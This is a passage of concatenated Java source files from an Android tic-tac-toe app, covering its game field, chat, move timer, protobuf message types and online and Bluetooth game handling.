timerTexView) { tvTimeInsicator = timerTexView; tvTimeInsicator.setText(String.valueOf(TIME_FOR_MOVE_IN_SEC)); } @Override public void initIndicator() { if (!isPlayerMoveFirst) { gameFieldAdapter.setEnableAllUnusedGameField(isPlayerMoveFirst); player.setMoveType(TypeOfMove.O); opponent.setMoveType(TypeOfMove.X); indicator = SECOND_PLAYER; tvPlayer2Name.setBackgroundResource(SELECT_PLAYER_BACKGROUND); tvPlayer1Name.setBackgroundResource(R.drawable.button_white); } else { indicator = FIRST_PLAYER; tvPlayer1Name.setBackgroundResource(SELECT_PLAYER_BACKGROUND); tvPlayer2Name.setBackgroundResource(R.drawable.button_white); player.setMoveType(TypeOfMove.X); opponent.setMoveType(TypeOfMove.O); } moveTimer.startNewTimer(isPlayerMoveFirst); } @Override public void startNewGame() { gameFieldWinLineHandler.newGame(); gameFieldAdapter.startNewGame(); gameFieldAdapter.setEnableAllUnusedGameField(false); onlineGameWorker.sendPacket(Protocol.SContinueGame.newBuilder().setPlayerId(player.getId()).setOpponentId(opponent.getId()).build()); showWaitingPopup(); } public void showWaitingPopup() { } @Override public void exitFromGame() { onlineGameWorker.sendPacket(Protocol.SExitFromGame.newBuilder().setPlayerId(player.getId()).setOpponentId(1).build()); onlineGameWorker.unRegisterHandler(handler); } @Override public void setActivityAction(GameFieldActivityAction activityAction) { this.activityAction = activityAction; } @Override public void unregisterHandler() { moveTimer.startNewTimer(false); moveTimer.unRegisterListenerAndFinish(); timerListener = null; if (handler != null) onlineGameWorker.unRegisterHandler(handler); onlineGameWorker = null; } } <file_sep>/XO/src/com/config/BundleKeys.java package com.config; /** * Created by Maksym on 9/8/13. */ public final class BundleKeys { public static final String TYPE_OF_GAME = "type_of_game"; public static final String OPPONENT = "opponent"; public static final String TYPE_OF_MOVE = "type_of_move"; public static final String PLAYER_NAME = "player_name"; public static final String OPPONENT_NAME = "opponent_name"; public static final String IS_PLAYER_MOVE_FIRST = "is_player_move_first"; private BundleKeys() { } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/chat/ChatFragment.java package com.halfplatepoha.TicTacBlue.chat; import java.util.ArrayList; import java.util.List; import android.app.Activity; import android.graphics.Color; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.KeyEvent; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.EditText; import android.widget.ListView; import com.halfplatepoha.TicTacBlue.R; /** * Date: 06.09.13 * * @author <NAME> (<EMAIL>) */ public class ChatFragment extends Fragment implements ChatAction { private static final String EMPTY_STRING = ""; private ListView mChatListView; private EditText mInputText; private List<ChatMessage> mChatMessageList; private ChatListViewAdapter mChatListViewAdapter; private IChatActionNotification mActionNotification; //private int position; @Override public void onAttach(Activity activity) { super.onAttach(activity); try { mActionNotification = (IChatActionNotification) activity; } catch (ClassCastException e) { throw new IllegalArgumentException("Each activity witch " + "use ChatFragment must implement IChatActionNotification " + e); } } @SuppressWarnings("ConstantConditions") @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View chat = inflater.inflate(R.layout.chat_fragment_layout, null); initViews(chat); //position = 0; mChatMessageList = new ArrayList<ChatMessage>(); mChatListViewAdapter = new ChatListViewAdapter(getActivity(), mChatMessageList); mChatListView.setAdapter(mChatListViewAdapter); // generateTesData(); mChatListView.setSelection(mChatMessageList.size()); return chat; } private void initViews(View chatView) { Button btnSentMessage = (Button) chatView.findViewById(R.id.btn_chat_sent_message); btnSentMessage.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { checkInputAndSent(); } }); mChatListView = (ListView) chatView.findViewById(R.id.chat_list_view); mInputText = (EditText) chatView.findViewById(R.id.chat_input_edit_text); mInputText.setOnKeyListener(new View.OnKeyListener() { @Override public boolean onKey(View v, int keyCode, KeyEvent event) { if (event.getAction() == KeyEvent.ACTION_DOWN && keyCode == KeyEvent.KEYCODE_ENTER) { checkInputAndSent(); return true; } return false; } }); } @SuppressWarnings("ConstantConditions") private void checkInputAndSent() { if (mInputText.getText().toString().length() > 0) { sendNewMessage(new ChatMessage(mInputText.getText().toString(), mActionNotification.getPlayerName())); } } private void sendNewMessage(ChatMessage chatMessage) { mActionNotification.actionSendChatMessage(chatMessage); mChatMessageList.add(chatMessage); mChatListViewAdapter.notifyDataSetChanged(); mChatListView.setSelection(mChatMessageList.size()); mInputText.setText(EMPTY_STRING); //position++; } @Override public void receivedMessage(ChatMessage message) { mChatListView.setSelection(mChatMessageList.size()); mChatMessageList.add(message); mChatListViewAdapter.notifyDataSetChanged(); mChatListView.setSelection(mChatMessageList.size()); // position++; } private void generateTesData() { for (int i = 0; i < 30; i++) { mChatMessageList.add(new ChatMessage("Message " + i, "Sender " + i / 2)); mChatListViewAdapter.notifyDataSetChanged(); } } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/gamefield/GameFieldItem.java package com.halfplatepoha.TicTacBlue.gamefield; import android.content.Context; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.graphics.Canvas; import android.util.AttributeSet; import android.widget.ImageView; import com.halfplatepoha.TicTacBlue.R; public class GameFieldItem extends ImageView { private static Bitmap bitmap_x; private static Bitmap bitmap_o; private static Bitmap bitmap_main_backgroud; private static Bitmap bitmapLastMove; private static Bitmap bitmapInSight; static Bitmap bitmapMainBackGround; static Bitmap scaledBitmapX; static Bitmap scaledBitmapO; static Bitmap bitmapSight; private boolean isLastMove = false; private boolean isInSight = false; private int i; private int j; public enum FieldType {X, O}; public enum WinLineType {HORIZONTAL, VERTICAl, LEFT, RIGHT}; private FieldType fieldType; private WinLineType winLineType; public GameFieldItem(Context context, AttributeSet attributeSet) { super(context, attributeSet); if (bitmap_main_backgroud == null) bitmap_main_backgroud = BitmapFactory.decodeResource(context.getResources(), R.drawable.gridbox ); if (bitmap_o == null) bitmap_o = BitmapFactory.decodeResource(context.getResources(), R.drawable.o); if (bitmap_x == null) bitmap_x = BitmapFactory.decodeResource(context.getResources(), R.drawable.x); if (bitmapLastMove == null) bitmapLastMove = BitmapFactory.decodeResource(context.getResources(), R.drawable.field_last_move); //if (bitmapInSight == null) //bitmapInSight = BitmapFactory.decodeResource(context.getResources(), R.drawable.sight_background); } public void setFieldTypeAndDraw(FieldType fieldType) { this.fieldType = fieldType; invalidate(); } public FieldType getFieldType() { return fieldType; } public WinLineType getWinLineType() { return winLineType; } public void setWinLineType(WinLineType winLineType) { this.winLineType = winLineType; invalidate(); } public int getI() { return i; } public void setI(int i) { this.i = i; } public int getJ() { return j; } public void setJ(int j) { this.j = j; } public static void destroyAllBitmaps() { bitmap_x.recycle(); bitmap_x = null; bitmap_o.recycle(); bitmap_o = null; bitmap_main_backgroud.recycle(); bitmap_main_backgroud = null; bitmapLastMove.recycle(); bitmapLastMove = null; //bitmapInSight.recycle(); //bitmapInSight = null; bitmapMainBackGround.recycle(); bitmapMainBackGround = null; if (scaledBitmapX != null) scaledBitmapX.recycle(); scaledBitmapX = null; if (scaledBitmapO != null) scaledBitmapO.recycle(); scaledBitmapO = null; if (bitmapSight != null) bitmapSight.recycle(); bitmapSight = null; } @Override protected void onDraw(Canvas canvas) { //EEEEEEEEEEEEEHAHAHAHAHAHAHHA! I Love commenting nonsense!! if (bitmapMainBackGround == null) bitmapMainBackGround = Bitmap.createScaledBitmap(bitmap_main_backgroud, getLayoutParams().width, getLayoutParams().height, true); canvas.drawBitmap(bitmapMainBackGround, 0, 0, null); if (fieldType != null) { if (scaledBitmapX == null) scaledBitmapX = Bitmap.createScaledBitmap(bitmap_x, getLayoutParams().width, getLayoutParams().height, true); if (scaledBitmapO == null) scaledBitmapO = Bitmap.createScaledBitmap(bitmap_o, getLayoutParams().width, getLayoutParams().height, true); canvas.drawBitmap(fieldType == FieldType.X ? scaledBitmapX : scaledBitmapO, 0, 0, null); } if (isLastMove && !isInSight) { if (bitmapLastMove == null) bitmapLastMove = Bitmap.createScaledBitmap( this.bitmapLastMove, getLayoutParams().width, getLayoutParams().height, true); canvas.drawBitmap(bitmapLastMove, 0, 0, null); } /*if (isInSight) { if (bitmapSight == null) { bitmapSight = Bitmap.createScaledBitmap(this.bitmapInSight, getLayoutParams().width, getLayoutParams().height, true); } //canvas.drawBitmap(bitmapSight, 0, 0, null); }*/ if (winLineType != null) { Bitmap bitmap = null; switch (winLineType) { case HORIZONTAL: bitmap = Bitmap.createScaledBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.horizontal_line), getLayoutParams().width, getLayoutParams().height, true); break; case VERTICAl: bitmap = Bitmap.createScaledBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.vertical_line), getLayoutParams().width, getLayoutParams().height, true); break; case LEFT: bitmap = Bitmap.createScaledBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.left_line), getLayoutParams().width, getLayoutParams().height, true); break; case RIGHT: bitmap = Bitmap.createScaledBitmap(BitmapFactory.decodeResource(getResources(), R.drawable.right_line), getLayoutParams().width, getLayoutParams().height, true); break; } canvas.drawBitmap(bitmap, 0, 0, null); } } public void setMarkAboutLastMove(boolean isLastMove) { this.isLastMove = isLastMove; invalidate(); } public void setMarkAboutInSight(boolean inSight) { isInSight = inSight; invalidate(); } public void clear() { isInSight = false; isLastMove = false; fieldType = null; winLineType = null; invalidate(); } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/onlinerooms/OnlineRoomsFragmentAction.java package com.halfplatepoha.TicTacBlue.onlinerooms; /** * Created by Maksym on 17.11.13. */ public interface OnlineRoomsFragmentAction{ public void gotGroupList(Object o); } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/openedroom/IOnlineOpenedRoomAction.java package com.halfplatepoha.TicTacBlue.openedroom; import java.util.List; import android.os.Message; import com.entity.Player; /** * Created by Maksym on 10.11.13. */ public interface IOnlineOpenedRoomAction { public void updateAboutActivityPlayer(Message msg); public void wantToPlay(Message msg); public void startGame(Message msg); public void cancelPlayDesire(Message msg); public List<Player> getListActivePlayer(); }<file_sep>/XO/src/com/entity/OneMove.java package com.entity; import com.halfplatepoha.TicTacBlue.LineType; public class OneMove { public int j; public int i; public TypeOfMove type; public LineType typeLine; public OneMove(int i, int j, TypeOfMove typeFieldElement) { this.type = typeFieldElement; this.j = j; this.i = i; } public OneMove(int i, int j, TypeOfMove typeFieldElement, LineType typeLine) { this.typeLine = typeLine; this.type = typeFieldElement; this.j = j; this.i = i; } } <file_sep>/XO/src/com/net/online/protobuf/ProtoType.java package com.net.online.protobuf; import net.protocol.*; import java.util.*; public enum ProtoType { // from Main Server CLOGINTOGAME((byte) 0x01, 1), CUPDATEAOBOUTACTIVITYPLAYER((byte) 0x02, 2), CWANTTOPLAY((byte) 0x03, 3), CSTARTGAME((byte) 0x04, 4), CDIDMOVE((byte) 0x05, 5), CEXITFROMGAME((byte) 0x0D, 13), CCONTINUEGAME((byte) 0x07, 7), CGETGROUPLIST((byte) 0x09, 9), CCANCELDESIREPLAY((byte) 0x08, 8), CCHATMESSAGE((byte) 0x0C, 10), CGROUPCHATMESSAGE((byte) 0x1C, 11), CTOP100((byte) 0x0E, 12), TIME_FOR_MOVE_FULL_UP((byte) 0x9B, Protocol.TimeForMoveFullUp.class), // TIME_FOR_MOVE_FULL_UP((byte) 0x9B, 19), //OTHER CONNECTION_TO_SERVER_LOST((byte) 0x40, 400), APP_NEED_UPDATE_TO_LAST_VERSION((byte) 0x9E, 90), // TO SERVER SGETUPDATE((byte) 0x02, Protocol.SGetUpdate.class), SLOGINTOGAME( (byte) 0x01, Protocol.SLoginToGame.class), SWANTTOPlAY((byte) 0x03, Protocol.SWantToPlay.class), SDIDMOVE((byte) 0x05, Protocol.SDidMove.class), SEXITFROMGAME((byte) 0x0D, Protocol.SExitFromGame.class), SCONTINUEGAME((byte) 0x07, Protocol.SContinueGame.class), SWONGAME((byte) 0x06, Protocol.SWonGame.class), SGETGROUPLIST((byte) 0x09, Protocol.SGetGroupList.class), SENTERTOGROUP((byte) 0x8A, Protocol.SEnterToGroup.class), SСANCELDESIREPLAY((byte) 0x08, Protocol.SCancelDesirePlay.class), SCHATMESSAGE((byte) 0x0C, Protocol.SChatMessage.class), SGROUPCHATMESSAGE((byte) 0x1C, Protocol.SGroupChatMessage.class), SEXITFROMGROUP((byte) 0x1D, Protocol.SExitFromGroup.class), SEXITFROMGLOBALGAME((byte) 0x2D, Protocol.SExitFromGlobalGame.class), STOP100((byte) 0x0E, Protocol.STop100Player.class), UNKNOWN((byte) 0x00, 0); private final byte b; private Class protoClass; public int index; private final static HashMap<Class, ProtoType> classMap; private final static HashMap<Byte, ProtoType> byteMap; private final static HashMap<Integer, ProtoType> intMap; static { classMap = new HashMap<Class, ProtoType>(64); byteMap = new HashMap<Byte, ProtoType>(64); intMap = new HashMap<Integer, ProtoType>(64); for (ProtoType type : values()) { classMap.put(type.protoClass, type); if (type.protoClass == null) { byteMap.put(type.b, type); intMap.put(type.index, type); } } // add additional byteMap.put(TIME_FOR_MOVE_FULL_UP.b, TIME_FOR_MOVE_FULL_UP); intMap.put(TIME_FOR_MOVE_FULL_UP.index, TIME_FOR_MOVE_FULL_UP); } private ProtoType(byte b, Class protoClass) { this.b = b; this.protoClass = protoClass; } private ProtoType(byte b, int index) { this.b = b; this.index = index; } public static int getInt(byte b) { ProtoType type = byteMap.get(b); if (type != null) return type.index; else return UNKNOWN.index; } public static ProtoType fromByte(byte b) { ProtoType type = byteMap.get(b); if (type != null) return type; else return UNKNOWN; } public static ProtoType fromInt(int index) { ProtoType type = intMap.get(index); if (type != null) return type; else return UNKNOWN; } public static ProtoType fromClass(Class c) { ProtoType type = classMap.get(c); if (type != null) return type; else return UNKNOWN; } public byte getByteValue() { return b; } }<file_sep>/XO/src/com/halfplatepoha/TicTacBlue/gamefield/OneMoveTimer.java package com.halfplatepoha.TicTacBlue.gamefield; import android.os.Handler; import android.os.Looper; /** * Created by Maksym on 06.01.14. */ public class OneMoveTimer { private TimerListener timerListener; private int time; private static final long ONE_SEC = 1000; private Handler handler; private volatile boolean isNeedInvokeFinish = false; private TimerThread timerThread; public OneMoveTimer(int timerTime, TimerListener timerListener) { time = timerTime; this.timerListener = timerListener; handler = new android.os.Handler(Looper.getMainLooper()); } public void startNewTimer(boolean isNeedInvokeFinish) { this.isNeedInvokeFinish = isNeedInvokeFinish; if (timerThread != null) { timerThread.interrupt(); timerThread = null; } timerThread = new TimerThread(); timerThread.start(); } public void setTimerListener(TimerListener timerListener) { this.timerListener = timerListener; } public void unRegisterListenerAndFinish() { timerListener = null; timerThread.interrupt(); timerThread = null; } public static interface TimerListener { public void timeChanged(int time); public void timeFinished(); } private class TimerThread extends Thread { private int passedSec = time; @Override public void run() { while (passedSec > 0) { try { Thread.sleep(ONE_SEC); } catch (InterruptedException e) { return; } passedSec--; handler.post(new Runnable() { @Override public void run() { if (timerListener != null) { timerListener.timeChanged(passedSec); } } }); } if (isNeedInvokeFinish) { handler.post(new Runnable() { @Override public void run() { if (timerListener != null) { timerListener.timeFinished(); } } }); } } } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/gamefield/GameFieldFragment.java package com.halfplatepoha.TicTacBlue.gamefield; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.FrameLayout; import android.widget.GridView; import android.widget.HorizontalScrollView; import android.widget.LinearLayout; import android.widget.ScrollView; import android.widget.TextView; import com.halfplatepoha.TicTacBlue.Controller; import com.halfplatepoha.TicTacBlue.GameType; import com.halfplatepoha.TicTacBlue.R; import com.halfplatepoha.TicTacBlue.gamefield.handler.IGameHandler; public class GameFieldFragment extends Fragment implements IGameFieldFragmentAction { public static final String FIRST_PLAYER_NAME = "first_player_name"; public static final String SECOND_PLAYER_NAME = "second_player_name"; private IGameHandler gameHandler; @SuppressWarnings("ConstantConditions") @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.game_field_fragment_layout, null); Intent intent = getActivity().getIntent(); String firstPlayerName = intent.getStringExtra(FIRST_PLAYER_NAME); String secondPlayerName = intent.getStringExtra(SECOND_PLAYER_NAME); GridView gridView = (GridView) view.findViewById(R.id.grid_view_game_field); TextView textViewPlayer1 = ((TextView) view.findViewById(R.id.tv_field_item)); textViewPlayer1.setText(firstPlayerName); TextView textViewSecond = ((TextView) view.findViewById(R.id.tv_second_player_name)); textViewSecond.setText(secondPlayerName); final LinearLayout containerGameFiled = (LinearLayout) view.findViewById(R.id.game_field_container); final FrameLayout frame = (FrameLayout) view.findViewById(R.id.horizontal_scroll_game_field); textViewSecond.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { } }); /* ViewTreeObserver vto = containerGameFiled.getViewTreeObserver(); vto.addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() { @Override public void onGlobalLayout() { // containerGameFiled.getViewTreeObserver().removeGlobalOnLayoutListener(this); width = containerGameFiled.getMeasuredWidth(); height = containerGameFiled.getMeasuredHeight(); } });*/ gameHandler = Controller.getInstance().getGameHandler(); GameFieldAdapter gameFieldAdapter = new GameFieldAdapter(getActivity(), gameHandler, (HorizontalScrollView) view .findViewById(R.id.horizontal_scroll_game_field), (ScrollView) view.findViewById(R.id.vertical_scroll_game_field)); gameHandler .setPlayer1TextView((TextView) view.findViewById(R.id.tv_field_item)); gameHandler .setPlayer2TextView((TextView) view.findViewById(R.id.tv_second_player_name)); gameHandler .setPlayer1ScoreTextView((TextView) view.findViewById(R.id.tv_score_player_1)); gameHandler .setPlayer2ScoreTextView((TextView) view.findViewById(R.id.tv_score_player_2)); gameHandler.setTimerTextView((TextView) view.findViewById(R.id.tv_timer)); if (gameHandler.getGameType() == GameType.FRIEND) { view.findViewById(R.id.tv_timer).setVisibility(View.GONE); view.findViewById(R.id.tv_sec).setVisibility(View.GONE); } gameHandler.setAdapter(gameFieldAdapter); gridView.setAdapter(gameFieldAdapter); gridView.post(new Runnable() { @Override public void run() { gameHandler.initIndicator(); } }); return view; } @Override public void beginNewGame() { gameHandler.startNewGame(); } @Override public void onDestroy() { gameHandler.unregisterHandler(); super.onDestroy(); } } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/chat/IChatActionNotification.java package com.halfplatepoha.TicTacBlue.chat; /** * Date: 06.09.13 * * @author <NAME> (<EMAIL>) */ public interface IChatActionNotification { public void actionSendChatMessage(ChatMessage chatMessage); public String getPlayerName(); } <file_sep>/XO/src/com/halfplatepoha/TicTacBlue/gamefield/GameFieldActivity.java package com.halfplatepoha.TicTacBlue.gamefield; import net.protocol.Protocol; import android.content.DialogInterface; import android.content.Intent; import android.graphics.Color; import android.graphics.PorterDuff.Mode; import android.graphics.drawable.Drawable; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentTransaction; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import com.bluetooth.protocol.BluetoothProtocol; import com.config.BundleKeys; import com.entity.Player; import com.entity.TypeOfMove; import com.halfplatepoha.TicTacBlue.Controller; import com.halfplatepoha.TicTacBlue.GameType; import com.halfplatepoha.TicTacBlue.R; import com.halfplatepoha.TicTacBlue.chat.ChatAction; import com.halfplatepoha.TicTacBlue.chat.ChatFragment; import com.halfplatepoha.TicTacBlue.chat.ChatMessage; import com.halfplatepoha.TicTacBlue.chat.IChatActionNotification; import com.halfplatepoha.TicTacBlue.gamefield.handler.AndroidGameHandler; import com.halfplatepoha.TicTacBlue.gamefield.handler.BluetoothGameHandler; import com.halfplatepoha.TicTacBlue.gamefield.handler.FriendGameHandler; import com.halfplatepoha.TicTacBlue.gamefield.handler.IGameHandler; import com.halfplatepoha.TicTacBlue.gamefield.handler.OnlineGameHandler; import com.halfplatepoha.TicTacBlue.mainactivity.GoogleAnalyticsActivity; import com.halfplatepoha.TicTacBlue.popup.XOAlertDialog; public class GameFieldActivity extends GoogleAnalyticsActivity implements OnClickListener, GameFieldActivityAction, IChatActionNotification { public static final String FIRST_PLAYER_NAME = "first_player_name"; public static final String SECOND_PLAYER_NAME = "second_player_name"; private static final String OPPONENT_EXIT_FROM_GAME_POPUP_TAG = "opponent_exit_from_game"; private FragmentTransaction fragmentTransaction; private Fragment gameFieldFragment, chatFragment; private ChatAction chatAction; private Player opponent; private enum TAB {GAME, CHAT} //private LinearLayout game_bg, new_game_bg, chat_bg; private Button mButtonOpenGameField; private Button openChatButton; private Button mButtonnewGame; private TAB cureentTab; private GameType gameType; private Drawable chatDrawable; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = getIntent(); chatDrawable = this.getResources().getDrawable(R.drawable.rounded_rectangle); //game_bg = (LinearLayout)findViewById(R.id.game_background); //new_game_bg = (LinearLayout)findViewById(R.id.new_game_background); //chat_bg = (LinearLayout)findViewById(R.id.chat_background); gameType = (GameType) intent.getSerializableExtra(BundleKeys.TYPE_OF_GAME); setContentView(R.layout.game_fileld_activity_layout); mButtonnewGame = (Button) findViewById(R.id.btn_game_field_new_game); mButtonnewGame.setOnClickListener(this); mButtonnewGame.setBackground(null); //findViewById(R.id.btn_game_field_back).setOnClickListener(this); mButtonOpenGameField = (Button) findViewById(R.id.btn_opened_online_group); openChatButton = (Button) findViewById(R.id.btn_group_chat); openChatButton.setOnClickListener(this); openChatButton.setBackground(null); mButtonOpenGameField.setOnClickListener(this); mButtonOpenGameField.setSelected(true); mButtonOpenGameField.setBackground(null); String playerName = getString(R.string.player); String opponentName = ""; Player player = new Player(); Player opponent1 = new Player(); if (gameType != null) { switch (gameType) { case ONLINE: Player opponent = (Player) intent.getSerializableExtra(BundleKeys.OPPONENT); this.opponent = opponent; TypeOfMove typeOfMove = (TypeOfMove) intent.getSerializableExtra(BundleKeys.TYPE_OF_MOVE); OnlineGameHandler onlineGameHandler = new OnlineGameHandler( Controller.getInstance().getOnlineWorker(), Controller.getInstance().getPlayer(), opponent, this, (typeOfMove == TypeOfMove.X)); Controller.getInstance().setGameHandler(onlineGameHandler); onlineGameHandler.setActivityAction(this); mButtonnewGame.setEnabled(false); mButtonnewGame.setText(""); break; case FRIEND: if (intent.getStringExtra(FIRST_PLAYER_NAME) != null) { playerName = intent.getStringExtra(FIRST_PLAYER_NAME); } if (intent.getStringExtra(SECOND_PLAYER_NAME) != null) { opponentName = intent.getStringExtra(SECOND_PLAYER_NAME); } player.setName(playerName); opponent1.setName(opponentName); FriendGameHandler friendGameHandler = new FriendGameHandler(player, opponent1, this); Controller.getInstance().setGameHandler(friendGameHandler); Controller.getInstance().setPlayer(player); openChatButton.setEnabled(false); //openChatButton.setVisibility(View.GONE); mButtonOpenGameField.setEnabled(false); //mButtonOpenGameField.setVisibility(View.GONE); break; case ANDROID: if (intent.getStringExtra(FIRST_PLAYER_NAME) != null) { playerName = intent.getStringExtra(FIRST_PLAYER_NAME); } opponentName = getString(R.string.android); if (intent.getStringExtra(FIRST_PLAYER_NAME) != null) { playerName = intent.getStringExtra(FIRST_PLAYER_NAME); } if (intent.getStringExtra(SECOND_PLAYER_NAME) != null) { opponentName = intent.getStringExtra(SECOND_PLAYER_NAME); } player.setName(playerName); opponent1.setName(opponentName); AndroidGameHandler androidGameHandler = new AndroidGameHandler(player, opponent1, this, this); Controller.getInstance().setGameHandler(androidGameHandler); Controller.getInstance().setPlayer(player); openChatButton.setEnabled(false); openChatButton.setVisibility(View.GONE); mButtonOpenGameField.setEnabled(false); mButtonOpenGameField.setVisibility(View.GONE); break; case BLUETOOTH: boolean isFirst = getIntent().getBooleanExtra(BundleKeys.IS_PLAYER_MOVE_FIRST, false); BluetoothGameHandler bluetoothGameHandler = new BluetoothGameHandler(player, opponent1, this, Controller.getInstance().getBluetoothService(), isFirst); if (intent.getStringExtra(BundleKeys.PLAYER_NAME) != null) { playerName = intent.getStringExtra(BundleKeys.PLAYER_NAME); } if (intent.getStringExtra(BundleKeys.OPPONENT_NAME) != null) { opponentName = intent.getStringExtra(BundleKeys.OPPONENT_NAME); } player.setName(playerName); opponent1.setName(opponentName); this.opponent = opponent1; Controller.getInstance().setPlayer(player); Controller.getInstance().setGameHandler(bluetoothGameHandler); break; } } cureentTab = TAB.GAME; gameFieldFragment = new GameFieldFragment(); chatFragment = new ChatFragment(); chatAction = (ChatAction) chatFragment; fragmentTransaction = getSupportFragmentManager().beginTransaction(); fragmentTransaction.add(R.id.center_for_fragment, chatFragment); fragmentTransaction.add(R.id.center_for_fragment, gameFieldFragment); fragmentTransaction.hide(chatFragment); fragmentTransaction.commit(); } @Override public void showWonPopup(String wonPlayerName) { final XOAlertDialog xoAlertDialog = new XOAlertDialog(); xoAlertDialog.setTile(wonPlayerName + " " + getResources().getString(R.string.won)); xoAlertDialog.setMainText(getResources().getString(R.string.are_you_want_continue_game)); xoAlertDialog.setPositiveButtonText(getResources().getString(R.string.yes)); xoAlertDialog.setNegativeButtonText(getResources().getString(R.string.no)); xoAlertDialog.setSleepTimeBeforeShowPopup(500); xoAlertDialog.setNegativeListener(new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { finish(); } }); xoAlertDialog.setPositiveListener(new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { newGame(); } }); xoAlertDialog.show(getSupportFragmentManager(), ""); } private void newGame() { if (gameFieldFragment != null) { IGameFieldFragmentAction iGameFieldFragmentAction = (IGameFieldFragmentAction) gameFieldFragment; iGameFieldFragmentAction.beginNewGame(); } } @Override public void opponentExitFromGame() { Fragment popup = getSupportFragmentManager().findFragmentByTag(OPPONENT_EXIT_FROM_GAME_POPUP_TAG); if (popup == null || !popup.isAdded()) { XOAlertDialog xoAlertDialog = new XOAlertDialog(); xoAlertDialog.setAlert_type(XOAlertDialog.ALERT_TYPE.ONE_BUTTON); xoAlertDialog.setTile(getResources().getString(R.string.opponent_exit_from_this_game)); String mainText = opponent.getName() + " " + getString(R.string.left_the_game); xoAlertDialog.setMainText(mainText); xoAlertDialog.setPositiveButtonText(getResources().getString(R.string.ok)); xoAlertDialog.setPositiveListener(new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { finish(); } }); xoAlertDialog.setNegativeListener(new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { finish(); } }); xoAlertDialog.show(getSupportFragmentManager(), OPPONENT_EXIT_FROM_GAME_POPUP_TAG); } } @Override public void connectionToServerLost() { XOAlertDialog xoAlertDialog = new XOAlertDialog(); xoAlertDialog.setAlert_type(XOAlertDialog.ALERT_TYPE.ONE_BUTTON); xoAlertDialog.setTile(getResources().getString(R.string.connection_to_server_lost)); String mainText = getString(R.string.please_try_to_connect_once_more); xoAlertDialog.setMainText(mainText); xoAlertDialog.setPositiveButtonText(getResources().getString(R.string.ok)); xoAlertDialog.setPositiveListener(new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { finish(); } }); xoAlertDialog.show(getSupportFragmentManager(), ""); } @Override public void receivedChatMessage(ChatMessage chatMessage) { if (cureentTab == TAB.GAME) { openChatButton.setText(R.string.message); openChatButton.setTextColor(getResources().getColor(R.color.white)); //openChatButton.setNeedingToBlick(false); //chat_bg.setBackgroundColor(Color.parseColor("#0099cc")); chatDrawable.setColorFilter(Color.parseColor("#0099cc"), Mode.MULTIPLY); } if (chatAction != null) { chatAction.receivedMessage(chatMessage); } } private void switchToTab(TAB tab) { fragmentTransaction = getSupportFragmentManager().beginTransaction(); cureentTab = tab; switch (tab) { case GAME: mButtonOpenGameField.setSelected(true); openChatButton.setSelected(false); fragmentTransaction.show(gameFieldFragment); fragmentTransaction.hide(chatFragment); break; case CHAT: mButtonOpenGameField.setSelected(false); openChatButton.setSelected(true); fragmentTransaction.show(chatFragment); fragmentTransaction.hide(gameFieldFragment); break; } fragmentTransaction.commit(); } @Override public void onClick(View view) { switch (view.getId()) { case R.id.btn_opened_online_group: switchToTab(TAB.GAME); break; case R.id.btn_group_chat: openChatButton.setText(R.string.chat); openChatButton.setTextColor(getResources().getColor(R.color.black)); //openChatButton.setNeedingToBlick(false); switchToTab(TAB.CHAT); break; /*case R.id.btn_game_field_back: showExitFromThisGamePopup(); break;*/ case R.id.btn_game_field_new_game: newGame(); break; } } private void showExitFromThisGamePopup() { XOAlertDialog xoAlertDialog = new XOAlertDialog(); xoAlertDialog.setTile(getResources().getString(R.string.exit_from_this_game)); xoAlertDialog.setMainText(getResources().getString(R.string.exit_from_this_game_question)); xoAlertDialog.setPositiveButtonText(getResources().getString(R.string.yes)); xoAlertDialog.setNegativeButtonText(getResources().getString(R.string.no)); xoAlertDialog.setPositiveListener(new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialogInterface, int i) { Controller.getInstance().getGameHandler().exitFromGame(); finish(); } }); xoAlertDialog.show(getSupportFragmentManager(), ""); } @Override public void actionSendChatMessage(ChatMessage chatMessage) { IGameHandler gameHandler = Controller.getInstance().getGameHandler(); if (gameHandler.getGameType() == GameType.BLUETOOTH) { Controller.getInstance().getBluetoothService().sentPacket(BluetoothProtocol.ChatMessage .newBuilder() .setMessage(chatMessage.getMessage()) .build()); } else if (gameHandler.getGameType() == GameType.ONLINE) { Controller.getInstance().getOnlineWorker().sendPacket(Protocol.SChatMessage .newBuilder().setMessage(chatMessage.getMessage()) .setOpponentId(opponent.getId()) .setPlayerId(Controller.getInstance().getPlayer().getId()) .build()); } } @Override public String getPlayerName() { return Controller.getInstance().getPlayer().getName(); } @Override public void onBackPressed() { if (cureentTab == TAB.CHAT) { switchToTab(TAB.GAME); } else { showExitFromThisGamePopup(); } } @Override protected void onDestroy() { //openChatButton.stopTaskForBleak(); GameFieldItem.destroyAllBitmaps(); Controller.getInstance().setGameHandler(null); if 